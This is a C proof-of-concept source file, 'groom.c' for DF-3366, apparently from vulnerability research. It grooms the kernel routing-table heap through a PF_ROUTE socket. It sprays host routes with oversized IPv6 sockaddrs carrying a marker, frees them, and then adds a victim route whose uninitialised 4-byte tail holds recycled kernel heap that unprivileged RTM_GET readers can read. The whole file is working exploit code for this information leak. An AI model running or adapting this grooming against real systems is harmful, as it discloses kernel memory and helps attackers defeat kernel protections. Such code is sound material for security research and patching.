DF-3366 / groom.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * DF-3366 PoC (grooming part -- runs as root) * * Proves that the padding tail of a route key contains *recycled kernel * heap* and is disclosed cross-object to unprivileged RTM_GET readers. * * 1. Spray N host routes whose destination sockaddr has sin6_len = 32 * (larger than a real sockaddr_in6). sys/net/route.c:925 * `bcopy(dst, ndst, dst->sa_len)' then copies all 32 bytes -- including * our marker 0x41 0x42 0x43 0x44 at bytes [28..32) -- into the freshly * kmalloc'd (M_RTABLE) key chunk (dlen+glen = 32+32 = 64 bytes). * 2. Delete all marker routes -> the 64-byte key chunks (marker at offset * 28..32) go back to the M_RTABLE free list. * 3. Add ONE victim route with a normal sin6_len=28 sockaddr: only 28 * bytes are initialized, bytes [28..32) of the key chunk are stale * heap -- expected to be our marker via chunk reuse. * 4. (root side check) RTM_GET the victim and dump the pads. * * The decisive read is then done by the UNPRIVILEGED leak_get for * 2001:db8:99::1. */ #include <sys/socket.h> #include <sys/types.h> #include <net/route.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define RTRND(a) ((a) > 0 ? (1 + (((a) - 1) | ((int)sizeof(long) - 1))) \ : (int)sizeof(long)) #define NSPRAY 32 #define GWSTR "2001:db8:42::99" /* on-link after ifconfig alias */ #define VICTIM "2001:db8:99::1" static int s; static int seq = 100; static int rt_tx(char *buf, int len) { struct rt_msghdr *r = (struct rt_msghdr *)buf; int myseq = seq++; r->rtm_version = RTM_VERSION; r->rtm_msglen = len; r->rtm_seq = myseq; r->rtm_pid = getpid(); if (write(s, buf, len) < 0) { perror("write"); return -1; } /* wait for our reply; drain broadcasts so the rcvbuf never fills */ for (;;) { struct pollfd pfd; char rb[2048]; struct rt_msghdr *rr; int rlen; pfd.fd = s; pfd.events = POLLIN; if (poll(&pfd, 1, 10000) != 1) { fprintf(stderr, "rt_tx: no reply for seq %d\n", myseq); return -1; } rlen = read(s, rb, sizeof(rb)); if (rlen < 0) { if (errno == EAGAIN || errno == EINTR) continue; perror("read"); return -1; } rr = (struct rt_msghdr *)rb; if (rr->rtm_seq == myseq && rr->rtm_pid == getpid()) { errno = rr->rtm_errno; return (rr->rtm_errno ? -1 : 0); } } } /* add a host route; dlen32 selects sin6_len 32 (marker dst) or 28 */ static int add_route(const char *dst6, int dlen32, const unsigned char *pad4) { char buf[512]; struct rt_msghdr *rtm = (struct rt_msghdr *)buf; struct sockaddr_in6 *dst, *gw; int off; memset(buf, 0, sizeof(buf)); rtm->rtm_type = RTM_ADD; rtm->rtm_flags = RTF_HOST | RTF_GATEWAY | RTF_STATIC; rtm->rtm_addrs = RTA_DST | RTA_GATEWAY; off = sizeof(struct rt_msghdr); dst = (struct sockaddr_in6 *)(buf + off); dst->sin6_len = dlen32 ? 32 : 28; dst->sin6_family = AF_INET6; if (inet_pton(AF_INET6, dst6, &dst->sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst6); exit(2); } if (dlen32 && pad4) memcpy((unsigned char *)dst + 28, pad4, 4); off += 32; /* rounded slot */ gw = (struct sockaddr_in6 *)(buf + off); gw->sin6_len = 28; gw->sin6_family = AF_INET6; if (inet_pton(AF_INET6, GWSTR, &gw->sin6_addr) != 1) { fprintf(stderr, "bad gw\n"); exit(2); } /* gateway pad bytes [28..32) left zero */ off += 32; return rt_tx(buf, off); } static int del_route(const char *dst6, int dlen32) { char buf[512]; struct rt_msghdr *rtm = (struct rt_msghdr *)buf; struct sockaddr_in6 *dst; int off; memset(buf, 0, sizeof(buf)); rtm->rtm_type = RTM_DELETE; rtm->rtm_flags = RTF_HOST; rtm->rtm_addrs = RTA_DST; off = sizeof(struct rt_msghdr); dst = (struct sockaddr_in6 *)(buf + off); dst->sin6_len = dlen32 ? 32 : 28; dst->sin6_family = AF_INET6; if (inet_pton(AF_INET6, dst6, &dst->sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst6); exit(2); } if (dlen32) memset((unsigned char *)dst + 28, 0x41, 4); off += 32; return rt_tx(buf, off); } int main(void) { unsigned char marker[4] = { 0x41, 0x42, 0x43, 0x44 }; char dst6[64]; int i, ok = 0, bad = 0; s = socket(PF_ROUTE, SOCK_RAW, 0); if (s < 0) { perror("socket"); return 1; } fcntl(s, F_SETFL, O_NONBLOCK); /* 0. cleanup strays from earlier runs (ignore errors) */ del_route("::", 0); del_route(VICTIM, 0); /* 1. spray marker routes */ for (i = 0; i < NSPRAY; i++) { snprintf(dst6, sizeof(dst6), "2001:db8:42:dead:beef::%x", 0x100 + i); if (add_route(dst6, 1, marker) == 0) ok++; } printf("spray: %d/%d marker routes added\n", ok, NSPRAY); /* 2. free them all (their 64B key chunks carry the marker) */ for (i = 0; i < NSPRAY; i++) { snprintf(dst6, sizeof(dst6), "2001:db8:42:dead:beef::%x", 0x100 + i); if (del_route(dst6, 0) == 0) bad++; } printf("deleted: %d marker routes\n", bad); /* 3. victim route with normal 28-byte sockaddr (uninit tail) */ if (add_route(VICTIM, 0, NULL) == 0) printf("victim %s added (sin6_len=28 -> 4-byte uninit tail)\n", VICTIM); else { printf("victim add FAILED (%s)\n", strerror(errno)); return 1; } return 0; } |